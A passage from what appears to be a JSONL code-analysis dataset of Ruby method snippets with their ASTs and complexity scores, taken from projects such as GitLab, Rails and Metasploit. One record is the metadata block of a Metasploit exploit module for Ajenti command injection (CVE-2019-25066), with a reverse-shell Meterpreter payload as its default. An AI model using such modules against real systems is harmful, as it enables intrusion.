a4-42fb-bfe7-806073f6debe"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/bulk_imports/imports_finder.rb","start_line":20,"raw_source":"def filter_by_status(imports)\n      return imports unless BulkImport.all_human_statuses.include?(@params[:status])\n\n      imports.with_status(@params[:status])\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_by_status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"imports\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BulkImport\"]},\"all_human_statuses\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"imports\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"imports\"]},\"with_status\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]}]}]}]}","id":"63f3f88d-4f1f-4b82-8d6b-22dcb9e93a08"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/session_notifier.rb","start_line":192,"raw_source":"def cmd_stop_session_notifier(*_args)\n        framework.events.remove_session_subscriber(self)\n        print_status('Session notification stopped.')\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_stop_session_notifier\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"_args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"events\"]},\"remove_session_subscriber\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Session notification stopped.\"]}]}]}]}","id":"2bcc30b8-4875-4373-8df3-234f728ceab3"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/lib/sinatra/webdav.rb","start_line":58,"raw_source":"def proppatch?\n        request_method == 'PROPPATCH'\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"proppatch?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_method\"]},\"==\",{\"type\":\"str\",\"children\":[\"PROPPATCH\"]}]}]}","id":"3c8bd7bc-57e9-494f-a995-932eed611a00"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/color_parser.rb","start_line":42,"raw_source":"def self.parse(text)\n      text if COLOR_FORMAT.match?(text)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COLOR_FORMAT\"]},\"match?\",{\"type\":\"lvar\",\"children\":[\"text\"]}]},{\"type\":\"lvar\",\"children\":[\"text\"]},null]}]}","id":"2fd5acbc-f4d3-4654-a5dd-3017ffa02508"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/renderer/collection_renderer.rb","start_line":51,"raw_source":"def length\n        @collection.respond_to?(:length) ? @collection.length : size\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"length\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@collection\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"length\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@collection\"]},\"length\"]},{\"type\":\"send\",\"children\":[null,\"size\"]}]}]}","id":"bf85e528-bace-4f2e-b222-d414a376781a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250320180620_remove_projects_project_states_project_id_fk.rb","start_line":9,"raw_source":"def up\n    with_lock_retries do\n      remove_foreign_key_if_exists(:project_states, :projects,\n        name: FOREIGN_KEY_NAME, reverse_lock_order: true)\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"sym\",\"children\":[\"project_states\"]},{\"type\":\"sym\",\"children\":[\"projects\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"FOREIGN_KEY_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_lock_order\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"1b7a2d96-0bc3-414d-82a1-557feb88c284"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/organizations/organization_user_type.rb","start_line":45,"raw_source":"def badges\n        user_badges_in_admin_section(organization_user.user)\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"badges\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"user_badges_in_admin_section\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"organization_user\"]},\"user\"]}]}]}","id":"803cce5f-764f-4f3e-9d63-b38d18287a50"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/api/v1/audience_segments_controller.rb","start_line":46,"raw_source":"def users\n        @segment = scope.find(params[:id])\n\n        page, per_page = pagination_params\n        @users = @segment.users.joins(:profile).select(USER_ATTRIBUTES_FOR_SERIALIZATION).page(page).per(per_page)\n      end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@segment\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"page\"]},{\"type\":\"lvasgn\",\"children\":[\"per_page\"]}]},{\"type\":\"send\",\"children\":[null,\"pagination_params\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@users\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@segment\"]},\"users\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"profile\"]}]},\"select\",{\"type\":\"const\",\"children\":[null,\"USER_ATTRIBUTES_FOR_SERIALIZATION\"]}]},\"page\",{\"type\":\"lvar\",\"children\":[\"page\"]}]},\"per\",{\"type\":\"lvar\",\"children\":[\"per_page\"]}]}]}]}]}","id":"3cd268b9-d90e-4d9f-8a95-443e16f84bef"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/examiner.rb","start_line":38,"raw_source":"def initialize(source,\n                   filter_by_smells: [],\n                   configuration: Configuration::AppConfiguration.default,\n                   detector_repository_class: DetectorRepository,\n                   error_handler: NullHandler.new)\n      @source              = Source::SourceCode.from(source)\n      @origin              = @source.origin\n      @smell_types         = detector_repository_class.eligible_smell_types(filter_by_smells)\n      @detector_repository = detector_repository_class.new(smell_types: @smell_types,\n                                                           configuration: configuration.directive_for(@origin))\n      @error_handler       = error_handler\n    end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]},{\"type\":\"kwoptarg\",\"children\":[\"filter_by_smells\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"configuration\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Configuration\"]},\"AppConfiguration\"]},\"default\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"detector_repository_class\",{\"type\":\"const\",\"children\":[null,\"DetectorRepository\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"error_handler\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NullHandler\"]},\"new\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@source\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Source\"]},\"SourceCode\"]},\"from\",{\"type\":\"lvar\",\"children\":[\"source\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@origin\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@source\"]},\"origin\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@smell_types\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detector_repository_class\"]},\"eligible_smell_types\",{\"type\":\"lvar\",\"children\":[\"filter_by_smells\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@detector_repository\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detector_repository_class\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"smell_types\"]},{\"type\":\"ivar\",\"children\":[\"@smell_types\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"configuration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"configuration\"]},\"directive_for\",{\"type\":\"ivar\",\"children\":[\"@origin\"]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@error_handler\",{\"type\":\"lvar\",\"children\":[\"error_handler\"]}]}]}]}","id":"9faeb791-b941-4c52-a5c9-0aa929107e5b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/overwrite_project_service.rb","start_line":78,"raw_source":"def add_source_project_to_fork_network(source_project)\n      return if source_project == @project\n      return unless fork_network\n      return if fork_network.organization_id != source_project.organization_id\n\n      # Because they have moved all references in the fork network from the source_project\n      # we won't be able to query the database (only through its cached data),\n      # for its former relationships. That's why we're adding it to the network\n      # as a fork of the target project\n      ForkNetworkMember.create!(\n        fork_network: fork_network,\n        project: source_project,\n        forked_from_project: @project\n      )\n    end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_source_project_to_fork_network\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source_project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_project\"]},\"==\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fork_network\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fork_network\"]},\"organization_id\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_project\"]},\"organization_id\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ForkNetworkMember\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fork_network\"]},{\"type\":\"send\",\"children\":[null,\"fork_network\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"source_project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"forked_from_project\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]}]}]}]}","id":"169fb6c7-4090-402f-8c56-b16614574372"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/snmp/manager.rb","start_line":520,"raw_source":"def get_response(request)\n        begin\n            data = @transport.recv(@max_bytes)\n            message = Message.decode(data)\n            response = message.pdu\n        end until request.request_id == response.request_id\n        response\n    end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"get_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"until_post\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"request_id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"request_id\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@transport\"]},\"recv\",{\"type\":\"ivar\",\"children\":[\"@max_bytes\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Message\"]},\"decode\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"pdu\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}","id":"a9840e61-eabd-4c34-922e-bd8b81b70451"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_weak_hash.rb","start_line":111,"raw_source":"def hashing_password? call\n    call.each_arg do |arg|\n      @has_password = false\n\n      process arg\n\n      if @has_password\n        return @has_password\n      end\n    end\n\n    nil\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"hashing_password?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"call\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call\"]},\"each_arg\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@has_password\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@has_password\"]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@has_password\"]}]},null]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"f242b7c9-dda9-4a90-997a-f15d8f7a0c28"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/activerecord-gitlab/lib/active_record/gitlab_patches/query_cache.rb","start_line":84,"raw_source":"def select_all(arel, name = nil, binds = [], preparable: nil, async: false, allow_retry: false)\n        arel = arel_from_relation(arel)\n\n        # If arel is locked this is a SELECT ... FOR UPDATE or somesuch.\n        # Such queries should not be cached.\n        if query_cache_enabled && !(arel.respond_to?(:locked) && arel.locked) # PATCH: @query_cache&.enabled? was changed to query_cache_enabled\n          sql, binds, preparable, allow_retry = to_sql_and_binds(arel, binds, preparable, allow_retry)\n\n          if async\n            result = lookup_sql_cache(sql, name, binds) || super(sql, name, binds, preparable: preparable, async: async, allow_retry: allow_retry)\n            FutureResult.wrap(result)\n          else\n            cache_sql(sql, name, binds) { super(sql, name, binds, preparable: preparable, async: async, allow_retry: allow_retry) }\n          end\n        else\n          super\n        end\n      end","complexity_score":31.9,"ast_json":"{\"type\":\"def\",\"children\":[\"select_all\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arel\"]},{\"type\":\"optarg\",\"children\":[\"name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"binds\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"preparable\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"async\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"allow_retry\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"arel\",{\"type\":\"send\",\"children\":[null,\"arel_from_relation\",{\"type\":\"lvar\",\"children\":[\"arel\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_cache_enabled\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arel\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"locked\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arel\"]},\"locked\"]}]}]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sql\"]},{\"type\":\"lvasgn\",\"children\":[\"binds\"]},{\"type\":\"lvasgn\",\"children\":[\"preparable\"]},{\"type\":\"lvasgn\",\"children\":[\"allow_retry\"]}]},{\"type\":\"send\",\"children\":[null,\"to_sql_and_binds\",{\"type\":\"lvar\",\"children\":[\"arel\"]},{\"type\":\"lvar\",\"children\":[\"binds\"]},{\"type\":\"lvar\",\"children\":[\"preparable\"]},{\"type\":\"lvar\",\"children\":[\"allow_retry\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"async\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lookup_sql_cache\",{\"type\":\"lvar\",\"children\":[\"sql\"]},{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"binds\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"binds\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"preparable\"]},{\"type\":\"lvar\",\"children\":[\"preparable\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"async\"]},{\"type\":\"lvar\",\"children\":[\"async\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_retry\"]},{\"type\":\"lvar\",\"children\":[\"allow_retry\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FutureResult\"]},\"wrap\",{\"type\":\"lvar\",\"children\":[\"result\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cache_sql\",{\"type\":\"lvar\",\"children\":[\"sql\"]},{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"binds\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"binds\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"preparable\"]},{\"type\":\"lvar\",\"children\":[\"preparable\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"async\"]},{\"type\":\"lvar\",\"children\":[\"async\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_retry\"]},{\"type\":\"lvar\",\"children\":[\"allow_retry\"]}]}]}]}]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}]}","id":"ed681ccf-95ae-43c8-b6c6-e0ee0244beca"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/browser_autopwn2.rb","start_line":285,"raw_source":"def get_selected_payload_lport(platform)\n      datastore[\"PAYLOAD_#{platform.to_s.upcase}_LPORT\"]\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"get_selected_payload_lport\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"platform\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"platform\"]},\"to_s\"]},\"upcase\"]}]},{\"type\":\"str\",\"children\":[\"_LPORT\"]}]}]}]}","id":"0d055697-a971-48a9-820a-8eb3b7067db6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/net/winrm/rex_http_transport.rb","start_line":31,"raw_source":"def localinfo\n        if http_client && http_client.conn\n          http_client.conn.localinfo\n        end\n      end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"localinfo\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"http_client\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"http_client\"]},\"conn\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"http_client\"]},\"conn\"]},\"localinfo\"]},null]}]}","id":"57456891-6f21-4b41-86da-d5120736241a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/ajenti_auth_username_cmd_injection.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Ajenti auth username Command Injection',\n        'Description' => %q{\n          This module exploits a command injection in Ajenti == 2.1.31.\n          By injecting a command into the username POST parameter to api/core/auth, a shell can be spawned.\n        },\n        'Author' => [\n          'Jeremy Brown', # Vulnerability discovery\n          'Onur ER <onur@onurer.net>' # Metasploit module\n        ],\n        'References' => [\n          ['CVE', '2019-25066'],\n          ['EDB', '47497']\n        ],\n        'DisclosureDate' => '2019-10-14',\n        'License' => MSF_LICENSE,\n        'Platform' => 'python',\n        'Arch' => ARCH_PYTHON,\n        'Privileged' => false,\n        'Targets' => [\n          ['Ajenti == 2.1.31', {}]\n        ],\n        'DefaultOptions' => {\n          'RPORT' => 8000,\n          'SSL' => true,\n          'payload' => 'python/meterpreter/reverse_tcp'\n        },\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n    register_options([\n      OptString.new('TARGETURI', [true, 'Base path', '/'])\n    ])\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Ajenti auth username Command Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a command injection in Ajenti == 2.1.31.\\n\"]},{\"type\":\"str\",\"children\":[\"          By injecting a command into the username POST parameter to api/core/auth, a shell can be spawned.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Jeremy Brown\"]},{\"type\":\"str\",\"children\":[\"Onur ER <onur@onurer.net>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2019-25066\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"47497\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2019-10-14\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"python\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PYTHON\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Ajenti == 2.1.31\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[8000]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"payload\"]},{\"type\":\"str\",\"children\":[\"python/meterpreter/reverse_tcp\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Base path\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"ab4ed461-8b19-4263-a346-6f5e3a4f5e96"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/components/channel_row.rb","start_line":19,"raw_source":"def exists?(**args)\n          selector = build_selector(**args)\n          selector_method = args[:does_not_exist] ? :has_no_selector? : :has_selector?\n          page.send(selector_method, selector)\n        end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"exists?\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"selector\",{\"type\":\"send\",\"children\":[null,\"build_selector\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"selector_method\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"does_not_exist\"]}]},{\"type\":\"sym\",\"children\":[\"has_no_selector?\"]},{\"type\":\"sym\",\"children\":[\"has_selector?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"selector_method\"]},{\"type\":\"lvar\",\"children\":[\"selector\"]}]}]}]}","id":"b76aea42-